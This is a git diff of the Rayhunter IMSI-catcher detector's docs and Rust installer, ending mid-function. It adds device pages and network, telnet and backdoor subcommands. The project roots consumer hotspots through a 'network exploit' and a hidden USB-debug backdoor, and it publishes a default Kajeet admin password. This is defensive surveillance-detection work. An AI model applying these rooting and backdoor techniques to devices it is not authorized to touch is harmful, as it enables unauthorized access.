||||
### Test Analyzer
|
||||
|
||||
This analyzer is great for testing if your Rayhunter installation works. It will alert every time a new tower is seen (specifically every time a tower broadcasts a SIB1 message.) It is designed to be very noisey so we do not recommend leaving it on but if this alerts it means your Rayhunter device is working!
|
||||
|
||||
@@ -4,13 +4,20 @@ Windows support in Rayhunter's installer is a work-in-progress. Depending on the
|
||||
|
||||
## TP-Link
|
||||
|
||||
1. Connect the device via WiFi or USB Tethering -- you should be able to view the TP-Link admin page on <http://192.168.0.1>.
|
||||
2. Download the latest release (must be at least 0.3.0) for windows-x86_64, and unpack the zipfile.
|
||||
3. Open PowerShell or CMD in that extracted folder, the installer: `./installer tplink`
|
||||
4. Follow the instructions on the screen, if there are any.
|
||||
1. Insert a FAT-formatted SD card. This will be used to store all recordings.
|
||||
2. Connect the device via WiFi or USB Tethering -- you should be able to view the TP-Link admin page on <http://192.168.0.1>.
|
||||
3. Download the latest release (must be at least 0.3.0) for windows-x86_64, and unpack the zipfile.
|
||||
4. Open PowerShell or CMD in that extracted folder, the installer: `./installer tplink`
|
||||
5. Follow the instructions on the screen, if there are any.
|
||||
|
||||
## Orbic
|
||||
|
||||
<div class=warning><strong>
|
||||
|
||||
[The Windows USB installer is known to be buggy](https://github.com/EFForg/rayhunter/issues/366). We strongly recommend using the [Network-based installer](./orbic.md#the-network-installer).
|
||||
|
||||
</strong></div>
|
||||
|
||||
1. Connect the device to your computer using the provided USB cable.
|
||||
1. Install the [Zadig WinUSB driver installer](https://zadig.akeo.ie/).
|
||||
1. Open Zadig, click options->show all devices
|
||||
|
||||
@@ -2,7 +2,8 @@
|
||||
|
||||
Make sure you've got one of Rayhunter's [supported devices](./supported-devices.md). These instructions have only been tested on macOS and Ubuntu 24.04. If they fail, you will need to [install Rayhunter from source](./installing-from-source.md).
|
||||
|
||||
1. Download the latest `rayhunter-vX.X.X-PLATFORM.zip` from the [Rayhunter releases page](https://github.com/EFForg/rayhunter/releases) for your platform:
|
||||
1. For the TP-Link only, insert a FAT-formatted SD card. This will be used to store all recordings.
|
||||
2. Download the latest `rayhunter-vX.X.X-PLATFORM.zip` from the [Rayhunter releases page](https://github.com/EFForg/rayhunter/releases) for your platform:
|
||||
- for Linux on x64 architecture: `linux-x64`
|
||||
- for Linux on ARM64 architecture: `linux-aarch64`
|
||||
- for Linux on armv7/v8 (32-bit) architecture: `linux-armv7`
|
||||
@@ -10,19 +11,20 @@ Make sure you've got one of Rayhunter's [supported devices](./supported-devices.
|
||||
- for MacOS on ARM (M1/M2 etc.) architecture: `macos-arm`
|
||||
- for Windows: `windows-x86_64`
|
||||
|
||||
2. Decompress the `rayhunter-vX.X.X-PLATFORM.zip` archive. Open the terminal and navigate to the folder. (Be sure to replace X.X.X with the correct version number!)
|
||||
3. Decompress the `rayhunter-vX.X.X-PLATFORM.zip` archive. Open the terminal and navigate to the folder. (Be sure to replace X.X.X with the correct version number!)
|
||||
|
||||
```bash
|
||||
unzip ~/Downloads/rayhunter-vX.X.X-PLATFORM.zip
|
||||
cd ~/Downloads/rayhunter-vX.X.X-PLATFORM
|
||||
```
|
||||
|
||||
3. Turn on your device by holding the power button on the front.
|
||||
4. Turn on your device by holding the power button on the front.
|
||||
|
||||
* For the Orbic, connect the device using a USB-C cable.
|
||||
* Or connect to the network if using the network based installer, this is especially recommended on Windows.
|
||||
* For TP-Link, connect to its network using either WiFi or USB Tethering.
|
||||
|
||||
4. Run the installer:
|
||||
5. Run the installer:
|
||||
|
||||
```bash
|
||||
# On MacOS, you must first remove the quarantine bit
|
||||
@@ -31,18 +33,21 @@ Make sure you've got one of Rayhunter's [supported devices](./supported-devices.
|
||||
Then run the installer:
|
||||
```bash
|
||||
./installer orbic
|
||||
# or: ./installer tplink
|
||||
# or: ./installer wingtech
|
||||
# or: ./installer [orbic-network|tplink|tmobile|uz801|pinephone|wingtech]
|
||||
```
|
||||
|
||||
The device will restart multiple times over the next few minutes.
|
||||
|
||||
You will know it is done when you see terminal output that says `Testing Rayhunter... done`
|
||||
|
||||
5. Rayhunter should now be running! You can verify this by [viewing Rayhunter's web UI](./using-rayhunter.md). You should also see a green line flash along the top of top the display on the device.
|
||||
6. Rayhunter should now be running! You can verify this by [viewing Rayhunter's web UI](./using-rayhunter.md). You should also see a green line flash along the top of top the display on the device.
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
* If you are having trouble installing Rayhunter and you're connecting to your device over USB, try using a different USB cable to connect the device to your computer. If you are using a USB hub, try using a different one or directly connecting the device to a USB port on your computer. A faulty USB connection can cause the Rayhunter installer to fail.
|
||||
|
||||
* You can test your device by enabling the test heuristic. This will be very noisy and fire an alert every time you see a new tower. Be sure to turn it off when you are done testing.
|
||||
|
||||
* On MacOS if you encounter an error that says "No Orbic device found," it may because you have the "Allow accessories to connect" security setting set to "Ask for approval." You may need to temporarily change it to "Always" for the script to run. Make sure to change it back to a more secure setting when you're done.
|
||||
|
||||
```bash
|
||||
|
||||
@@ -36,17 +36,29 @@ rustup target add x86_64-pc-windows-gnu
|
||||
Now you can root your device and install Rayhunter by running:
|
||||
|
||||
```sh
|
||||
cargo build --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --profile firmware --no-default-features --features orbic
|
||||
# Build the daemon binary for local development (rustcrypto TLS backend, fast compilation)
|
||||
# WARNING: The rustcrypto library, though not known to be insecure, is less well
|
||||
# tested than its counterpart and could potentially have severe issues in
|
||||
# its cryptographic implementation. We therefore recommend using ring-tls in
|
||||
# production builds (see below)
|
||||
cargo build-daemon-firmware-devel
|
||||
|
||||
cargo build --bin rootshell --target armv7-unknown-linux-musleabihf --profile firmware
|
||||
# To build it exactly like in CI (more mature ring TLS backend, slower compilation)
|
||||
# CC_armv7_unknown_linux_musleabihf=arm-linux-gnueabihf-gcc cargo build-daemon-firmware
|
||||
|
||||
cargo run --bin installer orbic
|
||||
# Build rootshell
|
||||
cargo build -p rootshell --bin rootshell --target armv7-unknown-linux-musleabihf --profile firmware
|
||||
|
||||
# Replace 'orbic' with your device type if different.
|
||||
# A list of possible values can be found with 'cargo run --bin installer help'.
|
||||
# Use FILE_RAYHUNTER_DAEMON to specify the daemon binary path when using development builds:
|
||||
FILE_RAYHUNTER_DAEMON=$PWD/target/armv7-unknown-linux-musleabihf/firmware-devel/rayhunter-daemon cargo run -p installer --bin installer orbic
|
||||
```
|
||||
|
||||
### If you're on Windows or can't run the install scripts
|
||||
|
||||
* Root your device on Windows using the instructions here: <https://xdaforums.com/t/resetting-verizon-orbic-speed-rc400l-firmware-flash-kajeet.4334899/#post-87855183>
|
||||
* Build the web UI using `cd bin/web && npm install && npm run build`
|
||||
* Build the web UI using `cd daemon/web && npm install && npm run build`
|
||||
* Push the scripts in `scripts/` to `/etc/init.d` on device and make a directory called `/data/rayhunter` using `adb shell` (and sshell for your root shell if you followed the steps above)
|
||||
* You also need to copy `config.toml.in` to `/data/rayhunter/config.toml`. Uncomment the `device` line and set the value to your device type if necessary.
|
||||
* Then run `./make.sh`, which will build the binary, push it over adb, and restart the device. Once it's restarted, Rayhunter should be running!
|
||||
|
||||
+6
-3
@@ -2,11 +2,14 @@
|
||||
|
||||
<img style="display: block; margin: 0 auto" alt="Rayhunter Logo - An Orca taking a bite out of a cellular signal bar" src="https://www.eff.org/files/styles/media_browser_preview/public/banner_library/rayhunter-banner.png" />
|
||||
|
||||
Rayhunter is a project for detecting IMSI catchers, also known as cell-site simulators or stingrays. It's designed to run on a cheap mobile hotspot called the Orbic RC400L, but thanks to community efforts can [support some other devices as well](./supported-devices.md).
|
||||
|
||||
Rayhunter is a project for detecting IMSI catchers, also known as cell-site simulators or stingrays. It was first designed to run on a cheap mobile hotspot called the Orbic RC400L, but thanks to community efforts can [support some other devices as well](./supported-devices.md).
|
||||
It's also designed to be as easy to install and use as possible, regardless of your level of technical skills. This guide should provide you all you need to acquire a compatible device, install Rayhunter, and start catching IMSI catchers.
|
||||
|
||||
To learn more about the aim of the project, and about IMSI catchers in general, please check out our [introductory blog post](https://www.eff.org/deeplinks/2025/03/meet-rayhunter-new-open-source-tool-eff-detect-cellular-spying). Otherwise, check out the [installation guide](./installation.md) to get started.
|
||||
→ Check out the [installation guide](./installation.md) to get started.
|
||||
|
||||
→ To learn more about the aim of the project, and about IMSI catchers in general, please check out our [introductory blog post](https://www.eff.org/deeplinks/2025/03/meet-rayhunter-new-open-source-tool-eff-detect-cellular-spying).
|
||||
|
||||
→ For discussion, help, or to join the mattermost channel and get involved with the project and community check out the [many ways listed here](./support-feedback-community.md)!
|
||||
|
||||
**LEGAL DISCLAIMER:** Use this program at your own risk. We believe running this program does not currently violate any laws or regulations in the United States. However, we are not responsible for civil or criminal liability resulting from the use of this software. If you are located outside of the US please consult with an attorney in your country to help you assess the legal risks of running this program.
|
||||
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
# KonnectONE Moxee Hotspot (K779HSDL)
|
||||
|
||||
Supported in Rayhunter since version 0.6.0.
|
||||
|
||||
The Moxee Hotspot is a device very similar to the Orbic RC400L. It seems to be
|
||||
primarily for the US market.
|
||||
|
||||
- [KonnectONE product page](https://www.konnectone.com/specs-hotspot)
|
||||
- [Moxee product page](https://www.moxee.com/hotspot)
|
||||
|
||||
## Supported bands
|
||||
|
||||
According to [FCC ID 2APQU-K779HSDL](https://fcc.report/FCC-ID/2APQU-K779HSDL), the device supports the following LTE bands:
|
||||
|
||||
| Band | Frequency |
|
||||
|------|-------------------------|
|
||||
| 2 | 1900 MHz (PCS) |
|
||||
| 4 | 1700/2100 MHz (AWS-1) |
|
||||
| 5 | 850 MHz (CLR) |
|
||||
| 12 | 700 MHz (Lower SMH) |
|
||||
| 13 | 700 MHz (Upper SMH) |
|
||||
| 25 | 1900 MHz (Extended PCS) |
|
||||
| 26 | 850 MHz (Extended) |
|
||||
| 41 | 2500 MHz (TDD) |
|
||||
| 66 | 1700/2100 MHz (E-AWS) |
|
||||
| 71 | 600 MHz |
|
||||
|
||||
## Installation
|
||||
|
||||
Connect to the hotspot's network using WiFi or USB tethering and run:
|
||||
|
||||
```sh
|
||||
./installer orbic-network --admin-password 'mypassword'
|
||||
```
|
||||
|
||||
The password (in place of `mypassword`) is under the battery.
|
||||
|
||||
## Obtaining a shell
|
||||
|
||||
```sh
|
||||
./installer util orbic-start-telnet
|
||||
```
|
||||
+25
-1
@@ -1,7 +1,9 @@
|
||||
# Orbic RC400L
|
||||
# Orbic/Kajeet RC400L
|
||||
|
||||
The Orbic RC400L is an inexpensive LTE modem primarily designed for the US market, and the original device for which Rayhunter is developed.
|
||||
|
||||
It is also sometimes sold under the brand Kajeet RC400L. This is the exact same hardware and can be treated the same.
|
||||
|
||||
You can buy an Orbic [using bezos
|
||||
bucks](https://www.amazon.com/Orbic-Verizon-Hotspot-Connect-Enabled/dp/B08N3CHC4Y),
|
||||
or on [eBay](https://www.ebay.com/sch/i.html?_nkw=orbic+rc400l).
|
||||
@@ -19,8 +21,30 @@ or on [eBay](https://www.ebay.com/sch/i.html?_nkw=orbic+rc400l).
|
||||
| Wifi 5Ghz | a/ac/ax |
|
||||
| Wifi 6 | 🮱 |
|
||||
|
||||
## The Network Installer
|
||||
|
||||
Since Rayhunter 0.6.0 there is an alternative, experimental installation
|
||||
procedure at `./installer orbic-network` that is supposed to eventually replace
|
||||
`./installer orbic`. It does not require any USB driver installation and works
|
||||
identically on Windows, Mac and Linux. From our testing it works much more
|
||||
reliably on Windows than `./installer orbic` does.
|
||||
|
||||
The drawback is that the device's admin password is required.
|
||||
|
||||
1. Connect to the Orbic's network via WiFi or USB tethering
|
||||
2. Run `./installer orbic-network --admin-password 'mypassword'`
|
||||
|
||||
* On Verizon Orbic, the password is the WiFi password.
|
||||
* On Kajeet/Smartspot devices, the default password is `$m@rt$p0tc0nf!g`
|
||||
* On Moxee-brand devices, check under the battery for the password.
|
||||
* You can reset the password by pressing the button under the back case until the unit restarts.
|
||||
|
||||
3. The installer will eventually reboot the device, at which point the device is up and running.
|
||||
|
||||
## Obtaining a shell
|
||||
|
||||
After running through the installation procedure, you can obtain a root shell
|
||||
by running `adb shell` or `./installer util shell`. Then, inside of that shell
|
||||
you can run `/bin/rootshell` to obtain "fakeroot."
|
||||
|
||||
If you are using the network installer, there will not be a rootshell and ADB will not be enabled by the installer. Instead you can use `./installer util orbic-start-telnet` and connect to the hotspot using `nc 192.168.1.1 23`. On Windows you might not have `nc` and will have to use WSL for that.
|
||||
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 50 KiB After Width: | Height: | Size: 61 KiB |
@@ -0,0 +1,45 @@
|
||||
# Re-analyzing recordings
|
||||
|
||||
Every once in a while, Rayhunter refines its heuristics to detect more kinds of
|
||||
suspicious behavior, and to reduce noise from incorrect alerts.
|
||||
|
||||
This means that your old green recordings may actually contain data that is now
|
||||
deemed suspicious, and also old red recordings may become green.
|
||||
|
||||
You can re-analyze any old recording inside of Rayhunter by clicking on "N
|
||||
warnings" to expand details, then clicking the "re-analyze" button.
|
||||
|
||||
## Analyzing recordings on Desktop
|
||||
|
||||
If you have a PCAP or QMDL file but no rayhunter, you can analyze it on desktop
|
||||
using the `rayhunter-check` CLI tool. That tool contains the same heuristics as
|
||||
Rayhunter and will also work on traffic data captured with other tools, such as
|
||||
QCSuper.
|
||||
|
||||
Since, 0.6.1, `rayhunter-check` is included in the release zipfile.
|
||||
|
||||
You can build `rayhunter-check` from source with the following command:
|
||||
`cargo build --bin rayhunter-check`
|
||||
|
||||
## Usage
|
||||
```sh
|
||||
rayhunter-check [OPTIONS] --path <PATH>
|
||||
|
||||
Options:
|
||||
-p, --path <PATH> Path to the PCAP, or QMDL file. If given a directory will
|
||||
recursively scan all pcap, qmdl, and subdirectories
|
||||
-P, --pcapify Turn QMDL file into PCAP
|
||||
--show-skipped Show skipped messages
|
||||
-q, --quiet Print only warnings
|
||||
-d, --debug Print debug info
|
||||
-h, --help Print help
|
||||
-V, --version Print version
|
||||
```
|
||||
### Examples
|
||||
`rayhunter-check -p ~/Downloads/myfile.qmdl`
|
||||
|
||||
`rayhunter-check -p ~/Downloads/myfile.pcap`
|
||||
|
||||
`rayhunter-check -p ~/Downloads #Check all files in downloads`
|
||||
|
||||
`rayhunter-check -d -p ~/Downloads/myfile.qmdl #run in debug mode`
|
||||
@@ -7,7 +7,7 @@ These devices have been extensively tested by the core developers and are widely
|
||||
|
||||
| Device | Recommended region |
|
||||
| ------ | ------ |
|
||||
| [Orbic RC400L](./orbic.md) | Americas |
|
||||
| [Orbic RC400L](./orbic.md) Sometimes also branded Kajeet RC400L | Americas |
|
||||
| [TP-Link M7350](./tplink-m7350.md) | Africa, Europe, Middle East |
|
||||
|
||||
The TP-Link M7350 also works in the Americas but is usually more expensive.
|
||||
@@ -24,6 +24,8 @@ Rayhunter is confirmed to work on these devices.
|
||||
| [Tmobile TMOHS1](./tmobile-tmohs1.md) | Americas |
|
||||
| [TP-Link M7310](./tplink-m7310.md) | Africa, Europe, Middle East |
|
||||
| [PinePhone and PinePhone Pro](./pinephone.md) | Global |
|
||||
| [FY UZ801](./uz801.md) | Asia, Europe |
|
||||
| [Moxee hotspot](./moxee.md) | Americas |
|
||||
|
||||
## Adding new devices
|
||||
Rayhunter was built and tested primarily on the Orbic RC400L mobile hotspot, but the community has been working hard at adding support for other devices. Theoretically, if a device runs a Qualcomm modem and exposes a `/dev/diag` interface, Rayhunter may work on it.
|
||||
|
||||
+11
-1
@@ -4,6 +4,16 @@ Supported in Rayhunter since version 0.3.0.
|
||||
|
||||
The TP-Link M7350 supports many more frequency bands than Orbic and therefore works in Europe and also in some Asian and African countries.
|
||||
|
||||
## Supported Bands
|
||||
|
||||
| Technology | Bands |
|
||||
| ---------- | ----- |
|
||||
| 4G LTE | B1/B3/B7/B8/B20 (2100/1800/2600/900/800 MHz) |
|
||||
| 3G | B1/B8 (2100/900 MHz) |
|
||||
| 2G | 850/900/1800/1900 MHz |
|
||||
|
||||
*Source: [TP-Link Official Product Page](https://www.tp-link.com/baltic/service-provider/lte-3g/m7350/)*
|
||||
|
||||
## Hardware versions
|
||||
|
||||
The TP-Link comes in many different *hardware versions*. Support for installation varies:
|
||||
@@ -52,7 +62,7 @@ If your device has a one-bit (black-and-white) display, Rayhunter will instead s
|
||||
## Power-saving mode/sleep
|
||||
|
||||
By default the device will go to sleep after N minutes of no devices being connected. In that mode it will also turn off connections to cell phone towers.
|
||||
In order for Rayhunter to record continuously, you have to turn off this sleep mode in TP-Link's admin panel (go to **Advanced** - **Power Saving**) or keep e.g. your phone connectd on the TP-Link's WiFi.
|
||||
In order for Rayhunter to record continuously, you have to turn off this sleep mode in TP-Link's admin panel (go to **Advanced** - **Power Saving**) or keep e.g. your phone connected on the TP-Link's WiFi.
|
||||
|
||||
## Port triggers
|
||||
|
||||
|
||||
@@ -22,3 +22,18 @@ Your device is now Rayhunter-free, and should no longer be in a rooted ADB-enabl
|
||||
4. `update-rc.d rayhunter_daemon remove`
|
||||
5. (hardware revision v4.0+ only) In `Settings > NAT Settings > Port Triggers` in TP-Link's admin UI, remove any leftover port triggers.
|
||||
|
||||
## UZ801
|
||||
|
||||
0. (Optional): Back up the qmdl folder with all of the captures:
|
||||
`adb pull /data/rayhunter/qmdl .`
|
||||
1. Run `adb shell` to get a root shell on the device
|
||||
2. Delete the /data/rayhunter folder: `rm -rf /data/rayhunter`
|
||||
3. Modify the initmifiservice.sh script to remove the rayhunter
|
||||
startup line:
|
||||
```sh
|
||||
mount -o remount,rw /system
|
||||
busybox vi /system/bin/initmifiservice.sh
|
||||
```
|
||||
Then type 999G (shift+g), then type dd. Then press the colon key (:) and type wq. Finally, press Enter.
|
||||
4. Lastly, run `setprop persist.sys.usb.config rndis`.
|
||||
5. Type `reboot` to reboot the device.
|
||||
@@ -1,6 +1,6 @@
|
||||
# Using Rayhunter
|
||||
|
||||
Once installed, Rayhunter will run automatically whenever your device is running. You'll see a green line on top of the device's display to indicate that it's running and recording. [The line will turn red](./faq.md#red) once a potential IMSI catcher has been found, until the device is rebooted or a new recording is started through the web UI.
|
||||
Once installed, Rayhunter will run automatically whenever your device is running. You'll see a green line on top of the device's display to indicate that it's running and recording. [The line will turn yellow dots, orange dashes, or solid red](./faq.md#red) once a potential IMSI catcher has been found, depending on the severity of the alert, until the device is rebooted or a new recording is started through the web UI.
|
||||
|
||||

|
||||
|
||||
@@ -28,4 +28,4 @@ You can access this UI in one of two ways:
|
||||
|
||||
## Key shortcuts
|
||||
|
||||
As of Rayhunter verion 0.3.3, you can start a new recording by double-tapping the power button. Any current recording will be stopped and a new recording will be started, resetting the red line as well. This feature is disabled by default since Rayhunter version 0.4.0 and needs to be enabled through [configuration](./configuration.md).
|
||||
As of Rayhunter version 0.3.3, you can start a new recording by double-tapping the power button. Any current recording will be stopped and a new recording will be started, resetting the red line as well. This feature is disabled by default since Rayhunter version 0.4.0 and needs to be enabled through [configuration](./configuration.md).
|
||||
|
||||
@@ -0,0 +1,67 @@
|
||||
# UZ801
|
||||
|
||||
The UZ801 is a 4G/LTE USB modem which is built on top of a Qualcomm Snapdragon 410 (MSM8916, with MDM8916 modem.) It does not have a screen, but it does have LEDs which can be used to signal the same status as the green/red bar on the Orbic hotspot. It uses a custom Android-based firmware with limited coreutils. More information about this device can be found [here](https://github.com/AlienWolfX/UZ801-USB_MODEM/wiki/Overview)
|
||||
|
||||
It is worth noting that even though the Snapdragon 410 is a quad-core SoC, the CPU has only 2 of the cores enabled on the stock Android-based firmware, probably to avoid overheating as they did not exactly engineer any cooling solution. Regardless, even with 2 disabled cores there is plenty of compute overhead. There are 384MB of RAM on the SoC, and 4GB of eMMC in the form of an SK Hynix NAND flash chip located external to the SoC.
|
||||
|
||||
Rayhunter has been tested on UZ801 devices with firmware supporting USB debugging backdoor access. It is not certain whether all of the sticks that use this board will be compatible with the automated installer, or even with any alternative manual installation method. Please consider sharing your device's firmware version and hardware information [here](https://github.com/EFForg/rayhunter/discussions/479) to help improve compatibility.
|
||||
|
||||
## Where to purchase
|
||||
|
||||
There are several option to purchase this device:
|
||||
1. AliExpress:
|
||||
- [1](https://www.aliexpress.us/item/3256808999940005.html)
|
||||
- [2](https://www.aliexpress.us/item/3256809191207903.html)
|
||||
- [3](https://www.aliexpress.us/item/3256809191207903.html)
|
||||
2. eBay:
|
||||
- [1](https://www.ebay.com/itm/394512588226)
|
||||
- [2](https://www.ebay.com/itm/195655408253)
|
||||
- [3](https://www.ebay.com/itm/116678550086)
|
||||
3. Amazon:
|
||||
- [1](https://www.amazon.com/150Mbps-Adapter-Network-Lightweight-Portable/dp/B0DQC64ZFS)
|
||||
- [2](https://www.amazon.com/Heayzoki-Network-Adapter-Wireless-Connection/dp/B0CG4W31M4)
|
||||
## Supported bands
|
||||
|
||||
The UZ801 supports various LTE bands depending on the specific hardware revision and carrier customization. Check your device specifications for the exact band support.
|
||||
|
||||
The most frequent bands found on these devices are LTE bands 1/3/5/8/20. In the US, this means that Verizon's band 5 towers are the only towers that this device could communicate with in its normal usage as an LTE modem. Research on whether Qualcomm diagnostic tools can be used to write new band support into the NVRAM is pending.
|
||||
|
||||
## Installing
|
||||
|
||||
With the device fully booted (i.e. beaming a wifi network, blue LED, etc.) and plugged into the computer that is performing the installation, run:
|
||||
|
||||
```sh
|
||||
./installer uz801
|
||||
```
|
||||
|
||||
Note: The default IP for UZ801 is typically `192.168.100.1`; if yours differs, use the `--admin-ip` argument to specify it.
|
||||
|
||||
## LED modes
|
||||
| Rayhunter state | LED indicator |
|
||||
| ---------------- | ------------------- |
|
||||
| Recording | Green LED solid on |
|
||||
| Paused | WiFi (blue) LED solid on |
|
||||
| Warning Detected | Red LED solid on |
|
||||
|
||||
Note: Unlike the TMOHS1, the UZ801 uses solid LED indicators instead of blinking patterns.
|
||||
|
||||
## Obtaining a shell
|
||||
The UZ801 supports ADB access after the USB debugging backdoor is activated.
|
||||
|
||||
```sh
|
||||
adb shell
|
||||
```
|
||||
|
||||
## Device-specific notes
|
||||
|
||||
The UZ801 uses a unique installation process that activates a hidden USB debugging backdoor.
|
||||
|
||||
The installation process works as follows:
|
||||
1. Activates the USB debugging backdoor via HTTP AJAX request
|
||||
2. Waits for device reboot and ADB availability
|
||||
3. Uses ADB to install rayhunter files and modify the startup script
|
||||
4. Launches rayhunter daemon automatically
|
||||
|
||||
- The UZ801 does not symlink busybox for some core system utils, for some reason. Please use `busybox <utility_name>`, e.g. `busybox df -h`.
|
||||
- USB debugging must be activated via the web backdoor before ADB access is possible (this is required only once.) The installer does this already.
|
||||
- The device uses `/system/bin/initmifiservice.sh` as the main startup script.
|
||||
@@ -8,7 +8,7 @@ The Wingtech CT2MHS01 hotspot is a Qualcomm mdm9650-based device with a screen a
|
||||
|
||||
There are likely variants of the device for all three ITU regions.
|
||||
|
||||
According to FCC ID 2APXW-CT2MHS01 Test Report No. [I20N02441-RF-LTE](https://apps.fcc.gov/eas/GetApplicationAttachment.html?id=4957451), the ITU Region 2 American version of the device supports the following LTE bands:
|
||||
According to FCC ID 2APXW-CT2MHS01 Test Report No. [I20N02441-RF-LTE](https://fcc.report/FCC-ID/2APXW-CT2MHS01/4957451), the ITU Region 2 American version of the device supports the following LTE bands:
|
||||
|
||||
| Band | Frequency |
|
||||
| ---- | ---------------- |
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "installer"
|
||||
version = "0.5.1"
|
||||
version = "0.7.1"
|
||||
edition = "2024"
|
||||
|
||||
[dependencies]
|
||||
|
||||
@@ -3,10 +3,13 @@ use clap::{Parser, Subcommand};
|
||||
use env_logger::Env;
|
||||
|
||||
mod orbic;
|
||||
mod orbic_auth;
|
||||
mod orbic_network;
|
||||
mod pinephone;
|
||||
mod tmobile;
|
||||
mod tplink;
|
||||
mod util;
|
||||
mod uz801;
|
||||
mod wingtech;
|
||||
|
||||
pub static CONFIG_TOML: &str = include_str!("../../dist/config.toml.in");
|
||||
@@ -25,8 +28,14 @@ struct Args {
|
||||
enum Command {
|
||||
/// Install rayhunter on the Orbic Orbic RC400L.
|
||||
Orbic(InstallOrbic),
|
||||
/// Install rayhunter on the Orbic RC400L or Moxee Hotspot via network.
|
||||
///
|
||||
/// This is an experimental installer for Orbic that does not require USB drivers on Windows.
|
||||
OrbicNetwork(OrbicNetworkArgs),
|
||||
/// Install rayhunter on the TMobile TMOHS1.
|
||||
Tmobile(TmobileArgs),
|
||||
/// Install rayhunter on the Uz801.
|
||||
Uz801(Uz801Args),
|
||||
/// Install rayhunter on a PinePhone's Quectel modem.
|
||||
Pinephone(InstallPinephone),
|
||||
/// Install rayhunter on the TP-Link M7350.
|
||||
@@ -63,6 +72,21 @@ struct InstallTpLink {
|
||||
#[derive(Parser, Debug)]
|
||||
struct InstallOrbic {}
|
||||
|
||||
#[derive(Parser, Debug)]
|
||||
struct OrbicNetworkArgs {
|
||||
/// IP address for Orbic admin interface, if custom.
|
||||
#[arg(long, default_value = "192.168.1.1")]
|
||||
admin_ip: String,
|
||||
|
||||
/// Admin username for authentication.
|
||||
#[arg(long, default_value = "admin")]
|
||||
admin_username: String,
|
||||
|
||||
/// Admin password for authentication.
|
||||
#[arg(long)]
|
||||
admin_password: String,
|
||||
}
|
||||
|
||||
#[derive(Parser, Debug)]
|
||||
struct InstallPinephone {}
|
||||
|
||||
@@ -82,6 +106,8 @@ enum UtilSubCommand {
|
||||
TmobileStartAdb(TmobileArgs),
|
||||
/// Root the Tmobile and launch telnetd.
|
||||
TmobileStartTelnet(TmobileArgs),
|
||||
/// Root the Uz801 and launch adb.
|
||||
Uz801StartAdb(Uz801Args),
|
||||
/// Root the tplink and launch telnetd.
|
||||
TplinkStartTelnet(TplinkStartTelnet),
|
||||
/// Root the Wingtech and launch telnetd.
|
||||
@@ -92,6 +118,8 @@ enum UtilSubCommand {
|
||||
PinephoneStartAdb,
|
||||
/// Lock the Pinephone's modem and stop adb.
|
||||
PinephoneStopAdb,
|
||||
/// Root the Orbic and launch telnetd.
|
||||
OrbicStartTelnet(OrbicNetworkArgs),
|
||||
/// Send a file to the TP-Link device over telnet.
|
||||
///
|
||||
/// Before running this utility, you need to make telnet accessible with `installer util
|
||||
@@ -115,6 +143,13 @@ struct TmobileArgs {
|
||||
admin_password: String,
|
||||
}
|
||||
|
||||
#[derive(Parser, Debug)]
|
||||
struct Uz801Args {
|
||||
/// IP address for Uz801 admin interface, if custom.
|
||||
#[arg(long, default_value = "192.168.100.1")]
|
||||
admin_ip: String,
|
||||
}
|
||||
|
||||
#[derive(Parser, Debug)]
|
||||
struct TplinkStartTelnet {
|
||||
/// IP address for TP-Link admin interface, if custom.
|
||||
@@ -168,10 +203,12 @@ async fn run() -> Result<(), Error> {
|
||||
|
||||
match command {
|
||||
Command::Tmobile(args) => tmobile::install(args).await.context("Failed to install rayhunter on the Tmobile TMOHS1. Make sure your computer is connected to the hotspot using USB tethering or WiFi.")?,
|
||||
Command::Uz801(args) => uz801::install(args).await.context("Failed to install rayhunter on the Uz801. Make sure your computer is connected to the hotspot using USB.")?,
|
||||
Command::Tplink(tplink) => tplink::main_tplink(tplink).await.context("Failed to install rayhunter on the TP-Link M7350. Make sure your computer is connected to the hotspot using USB tethering or WiFi.")?,
|
||||
Command::Pinephone(_) => pinephone::install().await
|
||||
.context("Failed to install rayhunter on the Pinephone's Quectel modem")?,
|
||||
Command::Orbic(_) => orbic::install().await.context("\nFailed to install rayhunter on the Orbic RC400L")?,
|
||||
Command::OrbicNetwork(args) => orbic_network::install(args.admin_ip, args.admin_username, args.admin_password).await.context("\nFailed to install rayhunter on the Orbic RC400L via network exploit")?,
|
||||
Command::Wingtech(args) => wingtech::install(args).await.context("\nFailed to install rayhunter on the Wingtech CT2MHS01")?,
|
||||
Command::Util(subcommand) => match subcommand.command {
|
||||
UtilSubCommand::Serial(serial_cmd) => {
|
||||
@@ -195,6 +232,7 @@ async fn run() -> Result<(), Error> {
|
||||
UtilSubCommand::Shell => orbic::shell().await.context("\nFailed to open shell on Orbic RC400L")?,
|
||||
UtilSubCommand::TmobileStartTelnet(args) => wingtech::start_telnet(&args.admin_ip, &args.admin_password).await.context("\nFailed to start telnet on the Tmobile TMOHS1")?,
|
||||
UtilSubCommand::TmobileStartAdb(args) => wingtech::start_adb(&args.admin_ip, &args.admin_password).await.context("\nFailed to start adb on the Tmobile TMOHS1")?,
|
||||
UtilSubCommand::Uz801StartAdb(args) => uz801::activate_usb_debug(&args.admin_ip).await.context("\nFailed to activate USB debug on the Uz801")?,
|
||||
UtilSubCommand::TplinkStartTelnet(options) => {
|
||||
tplink::start_telnet(&options.admin_ip).await?;
|
||||
}
|
||||
@@ -208,6 +246,7 @@ async fn run() -> Result<(), Error> {
|
||||
UtilSubCommand::WingtechStartAdb(args) => wingtech::start_adb(&args.admin_ip, &args.admin_password).await.context("\nFailed to start adb on the Wingtech CT2MHS01")?,
|
||||
UtilSubCommand::PinephoneStartAdb => pinephone::start_adb().await.context("\nFailed to start adb on the PinePhone's modem")?,
|
||||
UtilSubCommand::PinephoneStopAdb => pinephone::stop_adb().await.context("\nFailed to stop adb on the PinePhone's modem")?,
|
||||
UtilSubCommand::OrbicStartTelnet(args) => orbic_network::start_telnet(&args.admin_ip, &args.admin_username, &args.admin_password).await.context("\\nFailed to start telnet on the Orbic RC400L")?,
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+14
-16
@@ -174,10 +174,9 @@ pub async fn test_rayhunter(adb_device: &mut ADBUSBDevice) -> Result<()> {
|
||||
if let Ok(output) = adb_command(
|
||||
adb_device,
|
||||
&["wget", "-O", "-", "http://localhost:8080/index.html"],
|
||||
) {
|
||||
if output.contains("html") {
|
||||
return Ok(());
|
||||
}
|
||||
) && output.contains("html")
|
